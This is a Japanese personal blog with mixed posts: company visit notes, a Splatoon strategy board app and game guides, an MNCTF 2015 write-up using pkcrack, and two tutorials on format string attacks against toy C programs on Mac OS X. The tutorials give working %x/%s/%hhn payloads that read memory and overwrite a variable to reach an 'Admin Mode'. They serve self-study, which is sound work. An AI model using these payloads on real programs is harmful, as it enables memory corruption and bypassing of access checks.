sekai013's blog

JavaScriptとかを勉強する

会社見学した

実験の一環として会社見学した。

ローム株式会社

www.rohm.co.jp

1時間くらい会社概要を聞いて30分工場見て30分大学OBの社員と話して終わりという感じだった。

  • 工場見学

    工場はクリーンルームクラス1と概要で聞いたのでエアシャワーとかをくぐり抜けてやっと入れます的な施設に入れるのかと思ってワクワクしていたけど、小部屋みたいなのに入って遠巻きに見るだけで残念だった。

    クリーンルーム - Wikipedia

  • 座談会

    OBの社員は社内SEでだいたい転職して辿り着いたという感じだった。

    • 社内SEはユーザの声を聞きやすくてもの作ってる感がある

    • 大企業的な縦割り社会はいろいろ大変

    • 最近VisualBasicを捨ててC#に移行した

    • 社内システムは動けば良くてリファクタリングとかは時間の無駄だから綺麗なコードを書きたいならプロダクトをつくるほうが向いている

    という話をされた。よく分からんけど社内システムを使って得られるものが重要なのでシステム自体は別にそんなに・・・という話かと思った。
    けどリファクタリングとかどうでも良くはない気がする。
    大学院でプログラミング言語を研究していた人間が仕事でVBを書くことになるとどういう気分になるのだろうと思ったけど質問できなかった。

株式会社はてな

hatenacorp.jp

30分くらいHTTPまわりの話を聞いて30分くらいWEB開発の話を聞いて1時間くらいはてなの話を聞いて終わりという感じだった。

  • HTTP

    人間HTTPクライアント/サーバ実演してHTTPヘッダを見るといろいろわかるという話とか物理層の話とかを聞いた。
    Mackerel の宣伝を聞いた。

mackerel.io

  • WEB

    大学で勉強することはこんな感じで役に立つという話を聞いた。
    開発体制とかチーム開発とか普通に大学にいても経験しないのでとくになるほどという気持ちになった。
    WEBアプリなんかフレームワーク使えば素人でも簡単にできるのになぜ大学で勉強するのか?とかいう話を聞いた。当たり前だけど勉強しないといけない。
    社内のタスク管理ツールみたいなのもいろいろ試行錯誤しているという話を聞いた。動けばいいとか納期が早ければいいとか言ってなくて安心した。
    はてなブックマークの宣伝を聞いた。はてなブックマークは最高。

b.hatena.ne.jp

  • はてな

    提供しているサービスとか会社の話を聞いた。

    大学で経験しにくいことは勉強会参加とかバイトするといいよという助言をもらった。

    • 確立された開発体制で毎日のように新機能をリリースしている。

    • コードレビューとか勉強会とかペアプロとかでモチベーションも上がるし知見を得られるしいいものを作ろうという気持ちになる。

    • 会社としても対外的な勉強会とか発表とかイベントに参加・イベント開催する活動を支援している。

    • 🍣🍕🍺

    などなどいろいろ聞いた。
    はてなブログの宣伝を聞いた。はてなブログは最高。

hatenablog.com

ハッカソンの宣伝を聞いた。

developer.hatenastaff.com

感想

そろそろ寝て生活リズムを戻そう。

スプラトゥーン用戦術ボード書いた

イカボード https://squidboard.herokuapp.com/

助けてくれ!!! https://github.com/sekai013/squidboard

ステージ画像は http://ameblo.jp/3balkan/entry-12039536874.html
フォントは http://aramugi.com/?page_id=807
線の色は http://ch.nicovideo.jp/onetime/blomaga/ar838751 のものを使用しています. ありがとうございます.

トップページからボードをつくるとこんな感じのページが見えます.

f:id:sekai013:20150909164024p:plain

名前をいれるとチャットに参加できます.

f:id:sekai013:20150909164028p:plain

f:id:sekai013:20150909164032p:plain

ステージ画像にらくがきできます.

f:id:sekai013:20150909164036p:plain

線の色とか太さを変えられます.

f:id:sekai013:20150909164041p:plainf:id:sekai013:20150909164045p:plain

ステージ変えられます.

f:id:sekai013:20150909164049p:plain

ルールに対応したステージ画像が出ます.

f:id:sekai013:20150909164053p:plain

だいたいこんな感じです.
Splatoon甲子園予選も近いのでチームの作戦確認なんかにどうでしょう!!!

その他のいろいろな事項としては

  • 24時間更新のなかったボードは消える
  • ビーコンとかをステージ画像にスタンプしたい気がしたので, スタンプ機能を実装したけど, 肝心の画像素材がなかった
  • Undo/Redo とかステージ部分の同期がおかしいので多分すぐずれてしまうけど, 3日かけてどうにもならなかったし勘弁してくれ!!そのうち直します!!

という感じです. イカよろしく!!

Format String Attack でメモリの中身を書き換える Mac OS X 10.10

読むやつ: Format String Attack でメモリの内容を読み出す Mac OS X 10.10 - sekai013's blog

// writemem.c
#include <stdio.h>
#include <string.h>

char mode[] = "Guest";

int main() {
  char buf[1024];

  printf("Enter Your Name: ");
  fgets(buf, sizeof(buf), stdin);
  printf("Hello, ");
  printf(buf);

  printf("%s Mode\n", mode);
  if (strncmp(mode, "Admin", sizeof(mode)) == 0) {
    printf("something secret...");
  } else {
    printf("Address: %p\n", mode);
  }
}

こういう感じで外部入力を printf の第1引数にそのまま持ってきたりするとメモリの中身を読めてしまうという話だった.

% gcc writemem.c -o writemem -m32 -Wl,-no_pie
writemem.c:13:10: warning: format string is not a string literal (potentially insecure)

% echo "aaaa %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x" | ./writemem
Enter Your Name: Hello, aaaa 400 a079a04c 0 0 0 0 0 0 7 bffff6b8 400 11 1db0 61616161 20782520 25207825 78252078 20782520
Guest Mode
Address: 0x2020

% python -c 'print "%16$s   \x20\x20\x00\x00"' | ./writemem
Enter Your Name: Hello, Guest     Guest Mode <- Hello のところで mode の中身が読めている
Address: 0x2020

メモリへの書き込みもできる. 書き込みには %n という, 指定したアドレスに, 今まで出力したバイト数を書き込む指定子を利用する.
%hhn を使うと, 書き込むバイト数が char 型とみなされて1バイト書き込む. なんなんだこの指定子は... 攻撃以外でどう使うんだ...
今まで書き込んだバイト数は %<byte>c で調整する.

例えば mode の先頭の G を A (= 0x41 = 65) に置き換えるにはこんな調子でやればいい.

% python -c 'print "%65c%17$hhn \x20\x20\x00\x00"' | ./writemem
Enter Your Name: Hello,
  Auest Mode <- 書き換え成功
Address: 0x2020

2文字書き換えるときはこれを繰り返す. A のうしろに d (= 0x64 = 100) を書き込むには 0x41 バイト出力したところからさらに 0x100 - 0x41 + 0x64 = 0x123 = 291 バイト書き込めばOK.

% python -c 'print "%65c%20$hhn%291c%21$hhn \x20\x20\x00\x00\x21\x20\x00\x00"' | ./writemem
Enter Your Name: Hello,
                      !   Adest Mode
Address: 0x2020

雑にスクリプトを書いた.

gist.github.com

 % ruby overwrite.rb writemem 0x2020 Admin 14
Format String: %65c%29$hhn%291c%30$hhn%265c%31$hhn%252c%32$hhn%261c%33$hhn \x20\x20\x00\x00\x21\x20\x00\x00\x22\x20\x00\x00\x23\x20\x00\x00\x24\x20\x00\x00
Exec ./writemem...
=====================================================================================
Enter Your Name: Hello, $   Admin Mode
something secret...
=====================================================================================
Done.

mode の中身を書き換えて Admin Mode に入れた. やったぜ.

[参考]

書式指定文字列攻撃 - kusano_kの日記

format string attackによるGOT overwriteをやってみる - ももいろテクノロジー

Format String Attack でメモリの内容を読み出す Mac OS X 10.10

詰まったのでメモ

Format String Attack とは

// sample.c
#include <stdio.h>

int main() {
  char buf[1024];
  fgets(buf, sizeof(buf), stdin);
  printf(buf);
}

こういう感じで外部からの入力をそのまま printf とかの書式指定文字列として渡してしまっていると,
入力として例えば %x などの書式指定子が与えられたとき, printf("%x") となり, printf に第2引数があると思って, 第2引数があるはずのスタックの場所を見て, その値を読みだしてしまう.
実際に見るとわかりやすい.

% gcc sample.c
sample.c:7:10: warning: format string is not a string literal (potentially insecure)

% echo "%x %x %x" | ./a.out
100 797d9058 0

どこからか値を読み込んでいるのがわかる. コンパイル時にもちゃんと警告が出る.

% echo "aaaa %x %x %x %x %x %x %x %x %x" | ./a.out
aaaa 100 797d9058 0 5d5395b0 77ba1300 0 5d539640 61616161 25207825

% echo "aaaa %8\$x" | ./a.out
aaaa 61616161

printf の第9引数があるべき場所に 61616161 がある. a は \x61 なのでこの 61616161 は buf の先頭4バイトっぽい.
この printf の第9引数があるべき場所に buf が格納されていることがわかる.
%n$x という指定で n+1 番目の引数があるべき場所の値を読むこともできる.

読み出してみる

// readmem.c
#include <stdio.h>

char hidden[] = "hidden";

int main() {
  char buf[1024];

  fgets(buf, sizeof(buf), stdin);
  printf(buf);
  printf("Target Address: %p\n", hidden);
}
% gcc readmem.c -o readmem -m32
readmem.c:10:10: warning: format string is not a string literal (potentially insecure)

% echo "aaaa" | ./readmem
aaaa
Target Address: 0x3d01c

% echo "aaaa" | ./readmem
aaaa
Target Address: 0xfa01c

変数 hidden のアドレスがわかっている状態から値を読めれば成功.
しかし hidden のアドレスはセキュリティ上の都合で実行するたびに変わる(Address Space Layout Randomization, ASLR).
ここでは ASLR を OFF になっていることにする. OS X で ASLR OFF でコンパイルするには -Wl,-no_pie オプションでOK.

% gcc readmem.c -o readmem -m32 -Wl,-no_pie
readmem.c:10:10: warning: format string is not a string literal (potentially insecure)

% echo "aaaa" | ./readmem
aaaa
Target Address: 0x201c

% echo "aaaa %x %x %x %x %x %x %x %x %x %x %x" | ./readmem
aaaa 400 a079a04c 0 0 0 0 0 bffff6dc 400 1eb0 61616161
Target Address: 0x201c

無効化成功. 0x201c の値を読めればOK. buf の先頭にアドレス 0x201c を置いて, %s でその中身を読めばいい.

% python -c 'print "\x1c\x20\x00\x00 %11$s"' | ./readmem
 Target Address: 0x201c

読めない. printf がヌル文字(0x00)見たところで文章終わりと思って %11$s に対応するところを読んで出力してくれないせいですね.
なんとかヌル文字使わずに \x00 を送り込めないかと頑張ってハマってしまったけど, そんなことしなくてもヌル文字以前に書式指定子を置いて読む位置をずらせばよかった. buf の頭が printf の第12引数の位置になっているのでそこから適当に4バイト単位でずらして読めばいい.
%13$ で4バイト分, s!!! でさらに4バイト分ずらしてアドレス4バイトがちょうど printf の第14引数の位置に来るようにする.

% python -c 'print "%13$s!!!\x1c\x20\x00\x00"' | ./readmem
hidden!!! Target Address: 0x201c

成功. やったぜ.

[参考]

書式指定文字列攻撃 - kusano_kの日記

CTF Exploitの練習 - kusano_kの日記

format string attackによるメモリ読み出しをやってみる - ももいろテクノロジー

osx - Documented way to disable ASLR on OS X? - Stack Overflow

MNCTF 2015

長い試験期間が終わって夏休みになっていたけど, 夏休みの1/4はいろいろ出かけたりしていてなんの気力もないまま終わってしまった. そろそろやる気を出していきたい.

MNCTF という CTF を何かの拍子で見つけて解いてみたので解けた分について書いてみます.
初心者でもそこそこ解けたのでちょうどいいという感じでした.

早期警戒 MISC, 60

どこかのデータベースになかったら知らんと思ってハッシュでググってみたらやっぱりあった.

漏洩情報 NETWORK, 60

pcap ファイルが与えられるので Wireshark で見てみたら ZIP ファイルを POST していたので ZIP のバイナリをコピペして解凍する.
中から secret.cab というファイルが出てくる. 知らない拡張子だったのでとりあえず

% file secret.cab
secret.cab: Microsoft Cabinet archive data, 10546 bytes, 1 file

なるほど. ただのアーカイブなので適当に解凍すると中から答えになるファイルが出てくる.

感染端末 FORENSIC, 60

乗っ取られてスパムメールを送り続けている端末の IP を, 一部欠損した Proxy ログから特定するという問題. ログは CSV 形式なので split ',' とかして適当に見ていくことにした.
最初は問題文を無視して, 異常にログに残ってる回数が多い IP とかがあるんじゃないかと思ってたけどそういうことはなかった.
User-Agent で適当に分類してみたけどこっちも特に変わったことは見つけられなかった.
困ったのでログに残ってる回数多いIPから適当に入力することにしたら答え見つかった.
あてずっぽうで通ってしまった. わかる人にはあのログだけで何かわかるんでしょうか.

書込文書 BINARY, 100

実行形式のファイルが与えられる. デバッガでファイルを書き込む処理っぽいものの前にブレークポイント張って見てみたらそれっぽいのが出た.

隠蔽検体 STEGANO, 100

png が与えられる. 画像を見ても変わったところはなさそう. png に見せかけて別形式のファイルでもあるというやつかと思って file コマンドで見てもしっかり png だった.

% file MNC_Logo.png
MNC_Logo.png: PNG image data, 158 x 41, 8-bit colormap, interlaced

png に何か隠すみたいなのはちょっと調べたことがあったので, いくつかのチャンクからなっていることとか, IHDR チャンクから始まって IEND チャンクで終わることとかくらいは知ってる.
調べた時は tEXt チャンクにメッセージが書いてあるパターンとかを見たけど, 今回の画像には tEXt チャンクはなさそうだった.
手がかりがなくなってしまったのでざっと見て変なところ見つかるのに期待するかという方針でバイナリを眺めはじめたけど, いつまで経っても終わらないので,
どれくらいのサイズなんだこの画像はと思って最終行に飛んだら小さい画像なのに 230kb もあったし, 何よりも最終行なのに IEND チャンクがない.
IEND チャンクどこにあるんだろうと思って見てみたらすぐ後ろに 50 4b 03 04 以下不穏なバイナリがくっついていた.
なるほど. ZIP がくっついてたのか. IEND チャンクの後ろはどうでもいいことになってるんですね.
抽出した ZIP を解答すると exe が出てきたので適当なデータベースでハッシュを調べた.

不正使用 BINARY, 100

デバッガで見るだけで解けてしまった.

強固暗号 CRYPT, 120

暗号化された ZIP とファイル1つが与えられるので ZIP をクラックしろという問題.
暗号化された ZIP の中に与えられたファイルが含まれていそうだったので, 既知平文攻撃でクラックできる.
pkcrack をインストールしていたのでそのままクラックできた.

% pkcrack -c 暗号化されたZIPに含まれている中で平文がわかるファイルの名前 -C 暗号化されたZIP -p 平文のファイル -d 出力先

うーんこの中身のなさ. せっかく解いたので何か書こうとしたけど知識ないと何も書けないですね.
そろそろやる気を出していきたい.

スプラトゥーン ブキ&ギア主観評価

もっとも大事なこと

  • 生き残ること

    ナワバリエリア, ガチエリアどちらにも共通する考え方だと思います.
    生きてさえいればインク塗れるしスペシャルも溜まるし味方の応援にも行ける. 生きているからラッキー.

次に大事なこと

  • 敵を倒すこと

    第1回フェス貢献度1位のうしうしさんの名言です. 自陣を塗るより戦線を維持するのが大事ということは前に書きました.†生きるために戦え†

    敵の倒し方

  • Good

    撃ち合いをエイムのうまさで勝つ. できる人はすごい. むずい.

  • Better

    敵が攻撃できない状況で一方的に倒す.

敵が攻撃できない状況で倒す

  • 敵の不意をついて倒す

    回り込む動きや高所を取ることが必要
    回り込んだりある程度自由に動けるスペースを確保しておくことが必要

  • 敵の射程外から狙う

    相手より長い射程のブキを持つ

生き残り方

  • 逃げ道を作る/仲間と連携する

    主戦場になる中央, ガチマッチでいうガチエリア周辺はなるべく広くエリアを塗っておくことが重要
    移動可能範囲が広いと得意な間合いをキープしやすいし, ピンチになったら逃げられるし, 隠れやすい(不意打ちしやすい)
    負けてる時もいきなりエリアに特攻ではなくまず足場を固めて仲間と攻めないと集中砲火されるしもうちょっとで倒せる相手にも逃げられる
    数的, 状況的にきついときは一旦退く

  • 敵の射程外から狙う

    自分だけが攻撃できる射程で戦うのがベスト
    相手の攻撃が当たる範囲なら一旦逃げるのも手

以上を踏まえたうえで・・・

ブキ主観評価

主観で良さそうと思ったブキをあげます

シューター

ジェットスイーパー

ノーマル: スプラッシュシールド + トルネード
カスタム: クイックボム + ダイオウイカ

すべてのシューターの範囲外から殴れる. サブ, スペシャルもなかなか.低火力で連射もそれほど早くないので範囲外から撃ちたい.

.96ガロン

2発で確殺できてスーパーセンサー持ちでなかなかの射程

デュアルスイーパー

優秀な スプラッシュボム + スーパーセンサー 持ちでなかなかの連射性能と射程

プライムシューター

ノーマル: スプラッシュボム + トルネード
カスタム: ポイントセンサー + スーパーショット

なかなかの火力と射程

これより短射程のシューターはある程度以上の相手になると難しい気がする.相手がそんなうまくないとか自分がめちゃくちゃうまいならわかばとかよさそう. 4つに割って入るなら最強のスーパーショットを持つスプラシューターコラボと思うけど射程のせいで対シューター・ブラスターがきついイメージ

戦い方としてはできるだけ得意な距離を保って敵を狙う. 相手の射程外からであればベスト.
近距離でプロモデラーなんかと撃ち合って相打ちはもったいない

そのためには逃げ道, 移動できる範囲を広く取る(広く塗る)ことが必要
これができるのはシューターとダイナモローラーくらいなので仲間のことも考えて仲間の逃げ道とか移動範囲を作ってあげよう

ブラスター

ホットブラスターカスタム

  • 連射遅い←ザコw
  • ポイントセンサー←まあまあ
  • スプラシューター並の射程でワンパンキル←は?
  • バリア←??!!!?!!?!

こいつのせいで短射程シューターは死ぬ
塗るのは難しいので味方に任せよう
チームにブラスターがいるときは道を作ったり足場を固めて逃げ道とか移動範囲を作ってあげよう

ローラー

スプラローラー

ノーマル: クイックボム + メガホンレーザー
コラボ: ジャンプビーコン + ダイオウイカ

コラボはジャンプビーコンもあって優勢のときはひたすら強い

ダイナモローラー

わけのわからん強さ. 射程, 範囲, 威力全部ある.
その上に普通のダイナモローラーはスーパーセンサー, テスラは最強ボムのスプラッシュボム, なかなかのトルネードもある.スプラトゥーンはブキのバランスはめちゃくちゃいいけど, こいつだけは修正来てもおかしくない.

スプラローラーは射程が短く, ダイナモは攻撃までのラグがあるので適当にやってるとすぐ死ぬ. だからしっかり逃げ道と移動範囲を確保して先制攻撃でキルするのが大事. しばらくダイナモやってたらシューターでも不利な状況から逃げるのうまくなった気がする

チャージャー

知らん!!!!!!!!!!!!

ボム投げれるのはよさそう!!リッターの射程はよさそう!!
ムズそう!!頑張って!!!

6/23 追記:
スプラトゥーンはチャージャーがムズくて使いこなせる人はそうそういないという見込みで成り立っているのでめちゃくちゃうまいチャージャーがいると普通にゲームじゃなくなる.
あとは倉庫, モール, 炭鉱あたりではステージの性質上そんなにうまくないチャージャーでもゲームを支配できる.
チャージャーがそんなに注目されていないのはエイムできる人間が少ないという点につきる.

あとやはりチャージャーにはボムが必要な気がする. メインのほうが射程長いのにボムいるのという気がしないでもないけど, ボムばら撒いてるチャージャーには近づきにくい.
メインの射程を生かすためにもボムで相手の距離まで近づかせずに一方的に殴れる状況を作るのがよさそう.
これができるスプラッシュボムを持ってるスプラチャージャーは強い. リッター3K のクイックボムは接近を防ぐんじゃなくて接近戦を殴り勝つためにある. リッター使うなら攻撃力アップあってよさそう.

以上. ぼくはチャージャーできないので身内のチャージャーを参考にしました.チャージャー滅びてくれ!!!!!!頼む!!!!!!!!強すぎる!!!!!!!!

ギア主観評価

ギアの有無, 数の違いによる検証とかは他にやっているところがあるのでそちらを見てください.
検証を見たり, 自分で試し撃ち, 実戦投入した感想です.

  • Terrible

    そもそもやられることを前提としたようなパワーは不要

  • Bad

    • ラストスパート 2点
      インク効率上がったら最後に逆転できるという場面あんまりないと思う
    • ステルスジャンプ 2点
      着地狩りされないと生存率はあがる.偉い. だがしかし,
      基本的にステルスなくてもいいような状況でしかジャンプしてはいけない
      はい復唱
      基本的にステルスなくてもいいような状況でしかジャンプしてはいけない
    • ヒト移動速度アップ 2.5点
      ヒトで移動しない
  • So-So

    好みで使ってもいいかなという感じ

    • スタートダッシュ 4点
      先に中央を塗り始められるのはプラスだけど自分だけ早くても仕方ないことが多い
      味方と協力して戦うのが大事
    • イカダッシュ速度アップ 4.5点
      ダイオウイカと組み合わせてめっちゃ早いイカにするのはなかなか面白かった
    • スペシャル時間延長 4.5点
      延長時間が短い気がする
    • 逆境強化 ?点
      不利なときは一旦逃げて力を溜めるというのは正しい
      使ったことないので効果がどれくらいかわからないけど効果次第でもっと高いかもしれない
    • ボム飛距離アップ 5.5点
    • スペシャル増加量アップ 5.5点
      無難という感じ ボム, スペシャルにこだわるなら
    • 攻撃力アップ 6点
      †生きるために戦え†
  • Good

    • 防御力アップ 7点
      効果あるのかないのかよくわからんような補正だけどまあ一応生存率上がってると信じての点数
    • インク回復力アップ 7点
    • インク効率アップ(メイン) 7.5点
    • インク効率アップ(サブ)7.5点
      インク消費量多いブキを使うなら
      回復するような余裕があるときは回復力アップしてなくても大丈夫では?という気がするので持続して撃ち続けられる時間を長くする方がよい気がした
      燃費いいブキのときは対応箇所-1点くらいか
  • Excellent

    • イカニンジャ 8点
      カラダ限定. 普通にイカダッシュの跡見えてて狩れることはよくある.
      ということは見えなくなれば生存率上昇に繋がる.偉い.
    • ボムサーチ 8点
      クツ限定. 見えない位置のボムをケアできるのは生存率上昇に繋がる.偉い.
    • マーキングガード 9点
      カラダ限定. スーパーセンサーのおかげで敵を狩れることはよくある.
      ということはセンサー早く消えれば生存率上昇に繋がる.偉い.
    • 安全シューズ 9点
      クツ限定. ちょっとしたインクで足を取られなくなると生存率上昇に繋がる.偉い.

さすがに部位限定のギアは強かった・・・ん?どこか忘れているような・・・うっアタマが・・・

ということで現状こんなイメージです. いやいや評価低いけどこれはこうやって使うんだよというのがあれば教えてください.
イカid は sekai013 なので, ボコってわからせることもできます.
それではイカよろしく〜〜

タコでもわかる Splatoon ナワバリバトル

Download 版発売直後から遊び続けて起動時間100時間を超えていたので, 感想を書くくらいはしてもよさそう.
と言ってもこのゲームは今までのゲームと比べてどうこうという話がしたいわけではなく, 主にナワバリバトルで勝ちを目指すための話.
勝ちを目指すための話なので, 勝ちよりも塗りとかキルが楽しいという人のことは全く考えていないのでそのあたりは注意してほしい.
6/13 18:00 からのフェスがナワバリバトルなので振り返るにはちょうどいい時期かもしれない.
書いているのはヒーローモードクリア, ランク20, ウデマエ B の FPS 未経験者. TPS は小学生のときよく友達と遊んだというくらい.
Splatoon に関する情報は外から入れてなくて友人と話しているくらいなので間違いもありそう(逃げ道)

終了時に相手より多くの領域を塗っていれば勝てる

そんなもんわかっとるわいというけど, わかっているなら, 「じゃあそのためにどう動くのか」ということを考えないといけない. ひとつずつ考えてみる.

Q1. 相手より多くの領域って具体的にどこを塗るのか

簡単のために領域を3つに分けてみる.

  1. 自陣 (自分のチームのスタート地点に近い場所)
    倒されて復活した味方が常にいる場所で, 相手は侵入しづらく, いつでも比較的安全に塗ることができる.

  2. 敵陣 (相手のチームのスタート地点に近い場所)
    倒した敵が無限に湧き出てくる場所で, こちらは侵入しづらく, 塗ったとしてもその場を離れるとすぐに塗り替えされる.

  3. 中央 (1, 2 の中間地点)
    敵と味方が主にぶつかる場所で両チームの塗り合いになる.

この中で最も塗りやすいのは自陣, 次に塗りやすいのは中央ということは明らかだと思う.じゃあこの2つを塗って勝てばいい.
ナワバリバトルは大体エリアの47%くらいを塗ってれば勝てることが多い気がしているので,  自陣8割, 中央6割くらいを塗れていれば勝てる.

A1. 自陣と中央

ここから「敵陣を無理に塗る必要はない」ということがわかる.
善戦して中央を確保して, あとは守っていれば勝てるという状況で, 調子に乗った味方が敵陣までつっこんでいってカウンターされてガラガラの中央を数の暴力で取られてそのまま逆転負けみたいな展開をもう何回も何回も経験した.
確かに敵陣につっこんでバシバシ敵倒したりペタペタ塗ってると楽しい. それでそのまま勝てることもある. ただ勝負を考えると, そういう負け筋を作る, 増やすやり方はしたくない.
圧勝する必要はなくて, 塗りランクでチーム内1位になる必要もなくて, 敵を倒した数を競う必要もない.
勝つより倒すほうが塗るほうが楽しいからいいんだよという人もいると思う. その考えは正しい. でもここでは勝ちを目指す話をしているのでそういう考え方については考慮しないことにする.

残り1分より長い時とかに敵陣を塗りに行くことには どうせ塗り替えられる (その時間があれば自陣や中央をもっと塗りこむとかしていたほうがいい, 相手にスペシャルゲージを溜められて逆襲される) という明確なデメリットがある. さらに悪いのが敵陣を塗りに行って倒された場合で, 中央で人数が足りなくなるので困る.
もう1回言うけど中央6割取れば勝てるのに敵陣を塗る必要はない. どうしても塗りに行くなら最後の10秒でいい.

Q2. どうやって中央を確保するのか

自陣は8割くらい塗れてる. でも中央で敵に押し負ける. どうすればいいのか.

A2. 最速で中央に向かって4人で戦線を維持する

インクに身を隠したり, 相手のインクが近づいているのが見えたら敵の接近がわかったりする分, 守っているほうが戦闘を有利にできる. 相手もどうせそのうち中央に来るので, そこをチームの全力で返り討ちにする.
自陣はいつでも塗れるので, 返り討ちに成功した時, 復活したけど中央の戦線に余裕がありそうな時とかに塗ってればいい.

この考え方どこかで見たという人は多いと思う. なぜならガチエリアで誰もが考えることとほとんど同じだからで, ここで言いたいのはそれをナワバリバトルでもやれというだけの話.
ガチエリアが解禁されて, もう遊んでみた人も多いと思うけど, 4人が中央を全力で守ってるとなかなか取り返せないことは身をもって分かったと思う.
なのに1回ナワバリバトルに戻るとなぜか最初からせっせと自陣を塗ってたり, 敵陣に突っ込んでるプレイヤーをよくみる.
ナワバリバトルに戻る前に, 中央を完全制圧されてなすすべなく 0 vs 100 でノックアウトされたゲームを思い出してくれ.

タコでもわかるフローチャートっぽいものです.

f:id:sekai013:20150606190646p:plain

Q3. ブキごと, ステージごとの動きをどうすればいいのか

ブキ

  • シューター, パブロ, チェイスボム
    とにかく最速で道を作って中央に向かう
    パブロは通常塗りの道作り性能が異常に高いのでパブロ一人いたらあとは全員後ろをイカダッシュしていけるレベル
  • ローラー
    作ってくれた道を最速で進む
  • チャージャー
    わからん!!!!!!

ステージ

  • ハコフグ倉庫
    中央を制圧しろ!!!!!!!!!!!!!
  • シオノメ油田
    とにかく上だけ取れ!!!!下取らなくても勝てる!!!!マジで下塗りに行くのだけはやめてくれ!!!!!!
  • Bバスパーク
    中央を制圧しろ!!!!!高台を取れ!!!!!!!!!!
  • デカライン高架下
    中央を制圧しろ!!!!!!!!!!!!!
  • アロワナモール
    中央を制圧しろ!!!!!!!両サイドの高台を取れ!!!!!!!!
  • ホッケふ頭
    中央を制圧しろ!!!!!!!!!!!!!

飽きたので終わり!!!!!!!!!!イカ、よろしく!!!!!!!!!!